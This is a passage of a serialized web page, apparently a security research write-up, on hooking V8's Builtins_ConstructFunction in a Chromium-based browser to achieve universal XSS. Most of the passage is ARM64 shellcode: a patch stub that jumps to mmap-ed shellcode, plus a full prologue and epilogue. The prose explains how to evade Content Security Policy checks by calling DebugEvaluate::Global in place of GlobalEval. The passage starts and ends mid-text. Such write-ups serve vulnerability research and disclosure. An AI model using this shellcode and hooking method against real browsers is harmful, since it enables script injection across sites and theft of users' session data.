",{"type":23,"tag":37,"props":139691,"children":139693},{"className":139692},[],[139694],{"type":28,"value":139186},{"type":28,"value":139696}," that invoke the ",{"type":23,"tag":37,"props":139698,"children":139700},{"className":139699},[],[139701],{"type":28,"value":139702},"uxss_sc",{"type":28,"value":139704}," mmap-ed shellcode:",{"type":23,"tag":31,"props":139706,"children":139708},{"code":139707,"language":139239,"meta":7,"className":139240,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[139709],{"type":23,"tag":37,"props":139710,"children":139711},{"__ignoreMap":7},[139712,139720,139727,139735,139743,139750,139758,139766,139773,139781,139789,139796,139804],{"type":23,"tag":41,"props":139713,"children":139714},{"class":43,"line":44},[139715],{"type":23,"tag":41,"props":139716,"children":139717},{},[139718],{"type":28,"value":139719},"bti c\n",{"type":23,"tag":41,"props":139721,"children":139722},{"class":43,"line":54},[139723],{"type":23,"tag":41,"props":139724,"children":139725},{"emptyLinePlaceholder":18},[139726],{"type":28,"value":82},{"type":23,"tag":41,"props":139728,"children":139729},{"class":43,"line":76},[139730],{"type":23,"tag":41,"props":139731,"children":139732},{},[139733],{"type":28,"value":139734},"// store registers that will be overwritten\n",{"type":23,"tag":41,"props":139736,"children":139737},{"class":43,"line":85},[139738],{"type":23,"tag":41,"props":139739,"children":139740},{},[139741],{"type":28,"value":139742},"stp x15, lr, [sp, #-16]!\n",{"type":23,"tag":41,"props":139744,"children":139745},{"class":43,"line":105},[139746],{"type":23,"tag":41,"props":139747,"children":139748},{"emptyLinePlaceholder":18},[139749],{"type":28,"value":82},{"type":23,"tag":41,"props":139751,"children":139752},{"class":43,"line":155},[139753],{"type":23,"tag":41,"props":139754,"children":139755},{},[139756],{"type":28,"value":139757},"// get current rip into x15\n",{"type":23,"tag":41,"props":139759,"children":139760},{"class":43,"line":186},[139761],{"type":23,"tag":41,"props":139762,"children":139763},{},[139764],{"type":28,"value":139765},"adr x15, .\n",{"type":23,"tag":41,"props":139767,"children":139768},{"class":43,"line":195},[139769],{"type":23,"tag":41,"props":139770,"children":139771},{"emptyLinePlaceholder":18},[139772],{"type":28,"value":82},{"type":23,"tag":41,"props":139774,"children":139775},{"class":43,"line":905},[139776],{"type":23,"tag":41,"props":139777,"children":139778},{},[139779],{"type":28,"value":139780},"// load the uxss_sc pointer saved just above new instructions\n",{"type":23,"tag":41,"props":139782,"children":139783},{"class":43,"line":922},[139784],{"type":23,"tag":41,"props":139785,"children":139786},{},[139787],{"type":28,"value":139788},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":23,"tag":41,"props":139790,"children":139791},{"class":43,"line":930},[139792],{"type":23,"tag":41,"props":139793,"children":139794},{"emptyLinePlaceholder":18},[139795],{"type":28,"value":82},{"type":23,"tag":41,"props":139797,"children":139798},{"class":43,"line":939},[139799],{"type":23,"tag":41,"props":139800,"children":139801},{},[139802],{"type":28,"value":139803},"// jump to uxss_sc\n",{"type":23,"tag":41,"props":139805,"children":139806},{"class":43,"line":947},[139807],{"type":23,"tag":41,"props":139808,"children":139809},{},[139810],{"type":28,"value":139811},"blr x15\n",{"type":23,"tag":24,"props":139813,"children":139814},{},[139815,139820,139822,139827],{"type":23,"tag":37,"props":139816,"children":139818},{"className":139817},[],[139819],{"type":28,"value":139702},{"type":28,"value":139821}," is the mmap-ed shellcode invoked by the patched ",{"type":23,"tag":37,"props":139823,"children":139825},{"className":139824},[],[139826],{"type":28,"value":139186},{"type":28,"value":139828}," to execute our XSS payload. Its prologue looks like this:",{"type":23,"tag":31,"props":139830,"children":139832},{"code":139831,"language":139239,"meta":7,"className":139240,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[139833],{"type":23,"tag":37,"props":139834,"children":139835},{"__ignoreMap":7},[139836,139843,139850,139858,139866,139874,139882,139890,139898,139906,139914,139922,139930,139938,139946,139954,139962,139970,139978],{"type":23,"tag":41,"props":139837,"children":139838},{"class":43,"line":44},[139839],{"type":23,"tag":41,"props":139840,"children":139841},{},[139842],{"type":28,"value":139719},{"type":23,"tag":41,"props":139844,"children":139845},{"class":43,"line":54},[139846],{"type":23,"tag":41,"props":139847,"children":139848},{"emptyLinePlaceholder":18},[139849],{"type":28,"value":82},{"type":23,"tag":41,"props":139851,"children":139852},{"class":43,"line":76},[139853],{"type":23,"tag":41,"props":139854,"children":139855},{},[139856],{"type":28,"value":139857},"// Save full register context\n",{"type":23,"tag":41,"props":139859,"children":139860},{"class":43,"line":85},[139861],{"type":23,"tag":41,"props":139862,"children":139863},{},[139864],{"type":28,"value":139865},"stp x0,  x1,  [sp, #-16]!\n",{"type":23,"tag":41,"props":139867,"children":139868},{"class":43,"line":105},[139869],{"type":23,"tag":41,"props":139870,"children":139871},{},[139872],{"type":28,"value":139873},"stp x2,  x3,  [sp, #-16]!\n",{"type":23,"tag":41,"props":139875,"children":139876},{"class":43,"line":155},[139877],{"type":23,"tag":41,"props":139878,"children":139879},{},[139880],{"type":28,"value":139881},"stp x4,  x5,  [sp, #-16]!\n",{"type":23,"tag":41,"props":139883,"children":139884},{"class":43,"line":186},[139885],{"type":23,"tag":41,"props":139886,"children":139887},{},[139888],{"type":28,"value":139889},"stp x6,  x7,  [sp, #-16]!\n",{"type":23,"tag":41,"props":139891,"children":139892},{"class":43,"line":195},[139893],{"type":23,"tag":41,"props":139894,"children":139895},{},[139896],{"type":28,"value":139897},"stp x8,  x9,  [sp, #-16]!\n",{"type":23,"tag":41,"props":139899,"children":139900},{"class":43,"line":905},[139901],{"type":23,"tag":41,"props":139902,"children":139903},{},[139904],{"type":28,"value":139905},"stp x10, x11, [sp, #-16]!\n",{"type":23,"tag":41,"props":139907,"children":139908},{"class":43,"line":922},[139909],{"type":23,"tag":41,"props":139910,"children":139911},{},[139912],{"type":28,"value":139913},"stp x12, x13, [sp, #-16]!\n",{"type":23,"tag":41,"props":139915,"children":139916},{"class":43,"line":930},[139917],{"type":23,"tag":41,"props":139918,"children":139919},{},[139920],{"type":28,"value":139921},"stp x14, x15, [sp, #-16]!\n",{"type":23,"tag":41,"props":139923,"children":139924},{"class":43,"line":939},[139925],{"type":23,"tag":41,"props":139926,"children":139927},{},[139928],{"type":28,"value":139929},"stp x16, x17, [sp, #-16]!\n",{"type":23,"tag":41,"props":139931,"children":139932},{"class":43,"line":947},[139933],{"type":23,"tag":41,"props":139934,"children":139935},{},[139936],{"type":28,"value":139937},"stp x18, x19, [sp, #-16]!\n",{"type":23,"tag":41,"props":139939,"children":139940},{"class":43,"line":985},[139941],{"type":23,"tag":41,"props":139942,"children":139943},{},[139944],{"type":28,"value":139945},"stp x20, x21, [sp, #-16]!\n",{"type":23,"tag":41,"props":139947,"children":139948},{"class":43,"line":1058},[139949],{"type":23,"tag":41,"props":139950,"children":139951},{},[139952],{"type":28,"value":139953},"stp x22, x23, [sp, #-16]!\n",{"type":23,"tag":41,"props":139955,"children":139956},{"class":43,"line":1084},[139957],{"type":23,"tag":41,"props":139958,"children":139959},{},[139960],{"type":28,"value":139961},"stp x24, x25, [sp, #-16]!\n",{"type":23,"tag":41,"props":139963,"children":139964},{"class":43,"line":1102},[139965],{"type":23,"tag":41,"props":139966,"children":139967},{},[139968],{"type":28,"value":139969},"stp x26, x27, [sp, #-16]!\n",{"type":23,"tag":41,"props":139971,"children":139972},{"class":43,"line":1110},[139973],{"type":23,"tag":41,"props":139974,"children":139975},{},[139976],{"type":28,"value":139977},"stp x28, x29, [sp, #-16]!\n",{"type":23,"tag":41,"props":139979,"children":139980},{"class":43,"line":1118},[139981],{"type":23,"tag":41,"props":139982,"children":139983},{},[139984],{"type":28,"value":139985},"str lr, [sp, #-16]!\n",{"type":23,"tag":24,"props":139987,"children":139988},{},[139989],{"type":28,"value":139990},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":23,"tag":24,"props":139992,"children":139993},{},[139994,139996,140001],{"type":28,"value":139995},"The epilogue restores all saved registers, restores the original instructions in ",{"type":23,"tag":37,"props":139997,"children":139999},{"className":139998},[],[140000],{"type":28,"value":139186},{"type":28,"value":140002},", and then returns execution to its beginning:",{"type":23,"tag":31,"props":140004,"children":140006},{"code":140005,"language":139239,"meta":7,"className":139240,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[140007],{"type":23,"tag":37,"props":140008,"children":140009},{"__ignoreMap":7},[140010,140018,140026,140034,140042,140050,140057,140064,140072,140079,140086,140094,140102,140110,140118,140126,140134,140142,140150,140158,140166,140174,140182,140190,140198,140206,140214,140221,140229,140237,140245,140253,140261,140268,140276,140284,140291],{"type":23,"tag":41,"props":140011,"children":140012},{"class":43,"line":44},[140013],{"type":23,"tag":41,"props":140014,"children":140015},{},[140016],{"type":28,"value":140017},"// restore original instructions of Builtins_ConstructFunction\n",{"type":23,"tag":41,"props":140019,"children":140020},{"class":43,"line":54},[140021],{"type":23,"tag":41,"props":140022,"children":140023},{},[140024],{"type":28,"value":140025},"ldr lr, [sp], #16\n",{"type":23,"tag":41,"props":140027,"children":140028},{"class":43,"line":76},[140029],{"type":23,"tag":41,"props":140030,"children":140031},{},[140032],{"type":28,"value":140033},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":23,"tag":41,"props":140035,"children":140036},{"class":43,"line":85},[140037],{"type":23,"tag":41,"props":140038,"children":140039},{},[140040],{"type":28,"value":140041},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":23,"tag":41,"props":140043,"children":140044},{"class":43,"line":105},[140045],{"type":23,"tag":41,"props":140046,"children":140047},{},[140048],{"type":28,"value":140049},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":23,"tag":41,"props":140051,"children":140052},{"class":43,"line":155},[140053],{"type":23,"tag":41,"props":140054,"children":140055},{"emptyLinePlaceholder":18},[140056],{"type":28,"value":82},{"type":23,"tag":41,"props":140058,"children":140059},{"class":43,"line":186},[140060],{"type":23,"tag":41,"props":140061,"children":140062},{},[140063],{"type":28,"value":139592},{"type":23,"tag":41,"props":140065,"children":140066},{"class":43,"line":195},[140067],{"type":23,"tag":41,"props":140068,"children":140069},{},[140070],{"type":28,"value":140071},"mov x0, lr\n",{"type":23,"tag":41,"props":140073,"children":140074},{"class":43,"line":905},[140075],{"type":23,"tag":41,"props":140076,"children":140077},{},[140078],{"type":28,"value":139608},{"type":23,"tag":41,"props":140080,"children":140081},{"class":43,"line":922},[140082],{"type":23,"tag":41,"props":140083,"children":140084},{"emptyLinePlaceholder":18},[140085],{"type":28,"value":82},{"type":23,"tag":41,"props":140087,"children":140088},{"class":43,"line":930},[140089],{"type":23,"tag":41,"props":140090,"children":140091},{},[140092],{"type":28,"value":140093},"// restore original registers\n",{"type":23,"tag":41,"props":140095,"children":140096},{"class":43,"line":939},[140097],{"type":23,"tag":41,"props":140098,"children":140099},{},[140100],{"type":28,"value":140101},"ldp x28, x29, [sp], #16\n",{"type":23,"tag":41,"props":140103,"children":140104},{"class":43,"line":947},[140105],{"type":23,"tag":41,"props":140106,"children":140107},{},[140108],{"type":28,"value":140109},"ldp x26, x27, [sp], #16\n",{"type":23,"tag":41,"props":140111,"children":140112},{"class":43,"line":985},[140113],{"type":23,"tag":41,"props":140114,"children":140115},{},[140116],{"type":28,"value":140117},"ldp x24, x25, [sp], #16\n",{"type":23,"tag":41,"props":140119,"children":140120},{"class":43,"line":1058},[140121],{"type":23,"tag":41,"props":140122,"children":140123},{},[140124],{"type":28,"value":140125},"ldp x22, x23, [sp], #16\n",{"type":23,"tag":41,"props":140127,"children":140128},{"class":43,"line":1084},[140129],{"type":23,"tag":41,"props":140130,"children":140131},{},[140132],{"type":28,"value":140133},"ldp x20, x21, [sp], #16\n",{"type":23,"tag":41,"props":140135,"children":140136},{"class":43,"line":1102},[140137],{"type":23,"tag":41,"props":140138,"children":140139},{},[140140],{"type":28,"value":140141},"ldp x18, x19, [sp], #16\n",{"type":23,"tag":41,"props":140143,"children":140144},{"class":43,"line":1110},[140145],{"type":23,"tag":41,"props":140146,"children":140147},{},[140148],{"type":28,"value":140149},"ldp x16, x17, [sp], #16\n",{"type":23,"tag":41,"props":140151,"children":140152},{"class":43,"line":1118},[140153],{"type":23,"tag":41,"props":140154,"children":140155},{},[140156],{"type":28,"value":140157},"ldp x14, x15, [sp], #16\n",{"type":23,"tag":41,"props":140159,"children":140160},{"class":43,"line":1137},[140161],{"type":23,"tag":41,"props":140162,"children":140163},{},[140164],{"type":28,"value":140165},"ldp x12, x13, [sp], #16\n",{"type":23,"tag":41,"props":140167,"children":140168},{"class":43,"line":1163},[140169],{"type":23,"tag":41,"props":140170,"children":140171},{},[140172],{"type":28,"value":140173},"ldp x10, x11, [sp], #16\n",{"type":23,"tag":41,"props":140175,"children":140176},{"class":43,"line":1188},[140177],{"type":23,"tag":41,"props":140178,"children":140179},{},[140180],{"type":28,"value":140181},"ldp x8,  x9,  [sp], #16\n",{"type":23,"tag":41,"props":140183,"children":140184},{"class":43,"line":1979},[140185],{"type":23,"tag":41,"props":140186,"children":140187},{},[140188],{"type":28,"value":140189},"ldp x6,  x7,  [sp], #16\n",{"type":23,"tag":41,"props":140191,"children":140192},{"class":43,"line":2002},[140193],{"type":23,"tag":41,"props":140194,"children":140195},{},[140196],{"type":28,"value":140197},"ldp x4,  x5,  [sp], #16\n",{"type":23,"tag":41,"props":140199,"children":140200},{"class":43,"line":3835},[140201],{"type":23,"tag":41,"props":140202,"children":140203},{},[140204],{"type":28,"value":140205},"ldp x2,  x3,  [sp], #16\n",{"type":23,"tag":41,"props":140207,"children":140208},{"class":43,"line":3895},[140209],{"type":23,"tag":41,"props":140210,"children":140211},{},[140212],{"type":28,"value":140213},"ldp x0,  x1,  [sp], #16\n",{"type":23,"tag":41,"props":140215,"children":140216},{"class":43,"line":9044},[140217],{"type":23,"tag":41,"props":140218,"children":140219},{"emptyLinePlaceholder":18},[140220],{"type":28,"value":82},{"type":23,"tag":41,"props":140222,"children":140223},{"class":43,"line":9061},[140224],{"type":23,"tag":41,"props":140225,"children":140226},{},[140227],{"type":28,"value":140228},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":23,"tag":41,"props":140230,"children":140231},{"class":43,"line":9106},[140232],{"type":23,"tag":41,"props":140233,"children":140234},{},[140235],{"type":28,"value":140236},"// it immediately, so we can clobber and use it as a return register.\n",{"type":23,"tag":41,"props":140238,"children":140239},{"class":43,"line":9212},[140240],{"type":23,"tag":41,"props":140241,"children":140242},{},[140243],{"type":28,"value":140244},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":23,"tag":41,"props":140246,"children":140247},{"class":43,"line":23496},[140248],{"type":23,"tag":41,"props":140249,"children":140250},{},[140251],{"type":28,"value":140252},"// where to return\n",{"type":23,"tag":41,"props":140254,"children":140255},{"class":43,"line":23531},[140256],{"type":23,"tag":41,"props":140257,"children":140258},{},[140259],{"type":28,"value":140260},"mov x4, lr\n",{"type":23,"tag":41,"props":140262,"children":140263},{"class":43,"line":23539},[140264],{"type":23,"tag":41,"props":140265,"children":140266},{"emptyLinePlaceholder":18},[140267],{"type":28,"value":82},{"type":23,"tag":41,"props":140269,"children":140270},{"class":43,"line":23547},[140271],{"type":23,"tag":41,"props":140272,"children":140273},{},[140274],{"type":28,"value":140275},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":23,"tag":41,"props":140277,"children":140278},{"class":43,"line":23556},[140279],{"type":23,"tag":41,"props":140280,"children":140281},{},[140282],{"type":28,"value":140283},"ldp x15, lr, [sp], #16\n",{"type":23,"tag":41,"props":140285,"children":140286},{"class":43,"line":23598},[140287],{"type":23,"tag":41,"props":140288,"children":140289},{"emptyLinePlaceholder":18},[140290],{"type":28,"value":82},{"type":23,"tag":41,"props":140292,"children":140293},{"class":43,"line":23631},[140294],{"type":23,"tag":41,"props":140295,"children":140296},{},[140297],{"type":28,"value":140298},"ret x4\n",{"type":23,"tag":24,"props":140300,"children":140301},{},[140302,140304,140309,140311,140316,140318,140324],{"type":28,"value":140303},"At this point, we have successfully hooked ",{"type":23,"tag":37,"props":140305,"children":140307},{"className":140306},[],[140308],{"type":28,"value":139186},{"type":28,"value":140310}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":23,"tag":37,"props":140312,"children":140314},{"className":140313},[],[140315],{"type":28,"value":139702},{"type":28,"value":140317}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":23,"tag":37,"props":140319,"children":140321},{"className":140320},[],[140322],{"type":28,"value":140323},"Builtins_GlobalEval",{"type":28,"value":706},{"type":23,"tag":24,"props":140326,"children":140327},{},[140328,140333,140335,140340,140342,140347],{"type":23,"tag":37,"props":140329,"children":140331},{"className":140330},[],[140332],{"type":28,"value":140323},{"type":28,"value":140334}," takes a single ",{"type":23,"tag":37,"props":140336,"children":140338},{"className":140337},[],[140339],{"type":28,"value":47920},{"type":28,"value":140341}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":23,"tag":37,"props":140343,"children":140345},{"className":140344},[],[140346],{"type":28,"value":37543},{"type":28,"value":1474},{"type":23,"tag":31,"props":140349,"children":140351},{"code":140350,"language":355,"meta":7,"className":356,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[140352],{"type":23,"tag":37,"props":140353,"children":140354},{"__ignoreMap":7},[140355,140368,140375,140382,140425,140447,140473],{"type":23,"tag":41,"props":140356,"children":140357},{"class":43,"line":44},[140358,140363],{"type":23,"tag":41,"props":140359,"children":140360},{"style":114},[140361],{"type":28,"value":140362},"BUILTIN",{"type":23,"tag":41,"props":140364,"children":140365},{"style":70},[140366],{"type":28,"value":140367},"(GlobalEval) {\n",{"type":23,"tag":41,"props":140369,"children":140370},{"class":43,"line":54},[140371],{"type":23,"tag":41,"props":140372,"children":140373},{"style":70},[140374],{"type":28,"value":126871},{"type":23,"tag":41,"props":140376,"children":140377},{"class":43,"line":76},[140378],{"type":23,"tag":41,"props":140379,"children":140380},{"emptyLinePlaceholder":18},[140381],{"type":28,"value":82},{"type":23,"tag":41,"props":140383,"children":140384},{"class":43,"line":85},[140385,140390,140395,140399,140404,140408,140412,140416,140421],{"type":23,"tag":41,"props":140386,"children":140387},{"style":70},[140388],{"type":28,"value":140389},"  if (!Builtins::",{"type":23,"tag":41,"props":140391,"children":140392},{"style":94},[140393],{"type":28,"value":140394},"AllowDynamicFunction",{"type":23,"tag":41,"props":140396,"children":140397},{"style":70},[140398],{"type":28,"value":1737},{"type":23,"tag":41,"props":140400,"children":140401},{"style":94},[140402],{"type":28,"value":140403},"isolate",{"type":23,"tag":41,"props":140405,"children":140406},{"style":70},[140407],{"type":28,"value":970},{"type":23,"tag":41,"props":140409,"children":140410},{"style":94},[140411],{"type":28,"value":114796},{"type":23,"tag":41,"props":140413,"children":140414},{"style":70},[140415],{"type":28,"value":970},{"type":23,"tag":41,"props":140417,"children":140418},{"style":94},[140419],{"type":28,"value":140420},"target_global_proxy",{"type":23,"tag":41,"props":140422,"children":140423},{"style":70},[140424],{"type":28,"value":35188},{"type":23,"tag":41,"props":140426,"children":140427},{"class":43,"line":105},[140428,140433,140437,140442],{"type":23,"tag":41,"props":140429,"children":140430},{"style":858},[140431],{"type":28,"value":140432},"    isolate",{"type":23,"tag":41,"props":140434,"children":140435},{"style":70},[140436],{"type":28,"value":2453},{"type":23,"tag":41,"props":140438,"children":140439},{"style":114},[140440],{"type":28,"value":140441},"CountUsage",{"type":23,"tag":41,"props":140443,"children":140444},{"style":70},[140445],{"type":28,"value":140446},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":23,"tag":41,"props":140448,"children":140449},{"class":43,"line":155},[140450,140454,140459,140464,140469],{"type":23,"tag":41,"props":140451,"children":140452},{"style":58},[140453],{"type":28,"value":1090},{"type":23,"tag":41,"props":140455,"children":140456},{"style":114},[140457],{"type":28,"value":140458}," ReadOnlyRoots",{"type":23,"tag":41,"props":140460,"children":140461},{"style":70},[140462],{"type":28,"value":140463},"(isolate).",{"type":23,"tag":41,"props":140465,"children":140466},{"style":114},[140467],{"type":28,"value":140468},"undefined_value",{"type":23,"tag":41,"props":140470,"children":140471},{"style":70},[140472],{"type":28,"value":3669},{"type":23,"tag":41,"props":140474,"children":140475},{"class":43,"line":186},[140476],{"type":23,"tag":41,"props":140477,"children":140478},{"style":70},[140479],{"type":28,"value":5872},{"type":23,"tag":24,"props":140481,"children":140482},{},[140483,140485,140490],{"type":28,"value":140484},"This means we would need to patch the function further to ensure it never enters this ",{"type":23,"tag":37,"props":140486,"children":140488},{"className":140487},[],[140489],{"type":28,"value":368},{"type":28,"value":140491}," block.",{"type":23,"tag":24,"props":140493,"children":140494},{},[140495],{"type":28,"value":140496},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":23,"tag":31,"props":140498,"children":140500},{"code":140499,"language":355,"meta":7,"className":356,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[140501],{"type":23,"tag":37,"props":140502,"children":140503},{"__ignoreMap":7},[140504,140515,140522,140529,140536,140544,140556,140564,140581,140611,140619,140631],{"type":23,"tag":41,"props":140505,"children":140506},{"class":43,"line":44},[140507,140511],{"type":23,"tag":41,"props":140508,"children":140509},{"style":114},[140510],{"type":28,"value":140362},{"type":23,"tag":41,"props":140512,"children":140513},{"style":70},[140514],{"type":28,"value":140367},{"type":23,"tag":41,"props":140516,"children":140517},{"class":43,"line":54},[140518],{"type":23,"tag":41,"props":140519,"children":140520},{"emptyLinePlaceholder":18},[140521],{"type":28,"value":82},{"type":23,"tag":41,"props":140523,"children":140524},{"class":43,"line":76},[140525],{"type":23,"tag":41,"props":140526,"children":140527},{"style":70},[140528],{"type":28,"value":126871},{"type":23,"tag":41,"props":140530,"children":140531},{"class":43,"line":85},[140532],{"type":23,"tag":41,"props":140533,"children":140534},{"emptyLinePlaceholder":18},[140535],{"type":28,"value":82},{"type":23,"tag":41,"props":140537,"children":140538},{"class":43,"line":105},[140539],{"type":23,"tag":41,"props":140540,"children":140541},{"style":70},[140542],{"type":28,"value":140543},"  DirectHandle\u003CJSFunction> function;\n",{"type":23,"tag":41,"props":140545,"children":140546},{"class":43,"line":155},[140547,140552],{"type":23,"tag":41,"props":140548,"children":140549},{"style":114},[140550],{"type":28,"value":140551},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":23,"tag":41,"props":140553,"children":140554},{"style":70},[140555],{"type":28,"value":3461},{"type":23,"tag":41,"props":140557,"children":140558},{"class":43,"line":186},[140559],{"type":23,"tag":41,"props":140560,"children":140561},{"style":70},[140562],{"type":28,"value":140563},"      isolate, function,\n",{"type":23,"tag":41,"props":140565,"children":140566},{"class":43,"line":195},[140567,140572,140577],{"type":23,"tag":41,"props":140568,"children":140569},{"style":70},[140570],{"type":28,"value":140571},"      Compiler::",{"type":23,"tag":41,"props":140573,"children":140574},{"style":114},[140575],{"type":28,"value":140576},"GetFunctionFromValidatedString",{"type":23,"tag":41,"props":140578,"children":140579},{"style":70},[140580],{"type":28,"value":3461},{"type":23,"tag":41,"props":140582,"children":140583},{"class":43,"line":905},[140584,140589,140593,140597,140601,140606],{"type":23,"tag":41,"props":140585,"children":140586},{"style":114},[140587],{"type":28,"value":140588},"          direct_handle",{"type":23,"tag":41,"props":140590,"children":140591},{"style":70},[140592],{"type":28,"value":1737},{"type":23,"tag":41,"props":140594,"children":140595},{"style":858},[140596],{"type":28,"value":114796},{"type":23,"tag":41,"props":140598,"children":140599},{"style":70},[140600],{"type":28,"value":2453},{"type":23,"tag":41,"props":140602,"children":140603},{"style":114},[140604],{"type":28,"value":140605},"native_context",{"type":23,"tag":41,"props":140607,"children":140608},{"style":70},[140609],{"type":28,"value":140610},"(), isolate), source,\n",{"type":23,"tag":41,"props":140612,"children":140613},{"class":43,"line":922},[140614],{"type":23,"tag":41,"props":140615,"children":140616},{"style":70},[140617],{"type":28,"value":140618},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":23,"tag":41,"props":140620,"children":140621},{"class":43,"line":930},[140622,140627],{"type":23,"tag":41,"props":140623,"children":140624},{"style":114},[140625],{"type":28,"value":140626},"  RETURN_RESULT_OR_FAILURE",{"type":23,"tag":41,"props":140628,"children":140629},{"style":70},[140630],{"type":28,"value":3461},{"type":23,"tag":41,"props":140632,"children":140633},{"class":43,"line":939},[140634,140639,140644],{"type":23,"tag":41,"props":140635,"children":140636},{"style":70},[140637],{"type":28,"value":140638},"      isolate, Execution::",{"type":23,"tag":41,"props":140640,"children":140641},{"style":114},[140642],{"type":28,"value":140643},"Call",{"type":23,"tag":41,"props":140645,"children":140646},{"style":70},[140647],{"type":28,"value":140648},"(isolate, function, target_global_proxy, {}));\n",{"type":23,"tag":24,"props":140650,"children":140651},{},[140652,140654,140659,140661,140667,140669,140675,140677,140683],{"type":28,"value":140653},"But determining the correct ",{"type":23,"tag":37,"props":140655,"children":140657},{"className":140656},[],[140658],{"type":28,"value":114796},{"type":28,"value":140660}," value, obtaining ",{"type":23,"tag":37,"props":140662,"children":140664},{"className":140663},[],[140665],{"type":28,"value":140666},"target->native_context()",{"type":28,"value":140668},", and locating the ",{"type":23,"tag":37,"props":140670,"children":140672},{"className":140671},[],[140673],{"type":28,"value":140674},"direct_handle",{"type":28,"value":140676}," function, just to make a proper call to ",{"type":23,"tag":37,"props":140678,"children":140680},{"className":140679},[],[140681],{"type":28,"value":140682},"Compiler::GetFunctionFromValidatedString",{"type":28,"value":140684},", seemed unnecessarily cumbersome.",{"type":23,"tag":24,"props":140686,"children":140687},{},[140688,140690,140696],{"type":28,"value":140689},"Instead, we found a much simpler option with no security checks: ",{"type":23,"tag":37,"props":140691,"children":140693},{"className":140692},[],[140694],{"type":28,"value":140695},"DebugEvaluate::Global",{"type":28,"value":140697},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":23,"tag":24,"props":140699,"children":140700},{},[140701],{"type":28,"value":140702},"For our needs, it is straightforward to call:",{"type":23,"tag":31,"props":140704,"children":140706},{"code":140705,"language":355,"meta":7,"className":356,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[140707],{"type":23,"tag":37,"props":140708,"children":140709},{"__ignoreMap":7},[140710,140758,140787,140808],{"type":23,"tag":41,"props":140711,"children":140712},{"class":43,"line":44},[140713,140718,140722,140726,140731,140736,140740,140745,140749,140754],{"type":23,"tag":41,"props":140714,"children":140715},{"style":94},[140716],{"type":28,"value":140717},"MaybeDirectHandle",{"type":23,"tag":41,"props":140719,"children":140720},{"style":70},[140721],{"type":28,"value":1012},{"type":23,"tag":41,"props":140723,"children":140724},{"style":94},[140725],{"type":28,"value":48845},{"type":23,"tag":41,"props":140727,"children":140728},{"style":70},[140729],{"type":28,"value":140730},"> 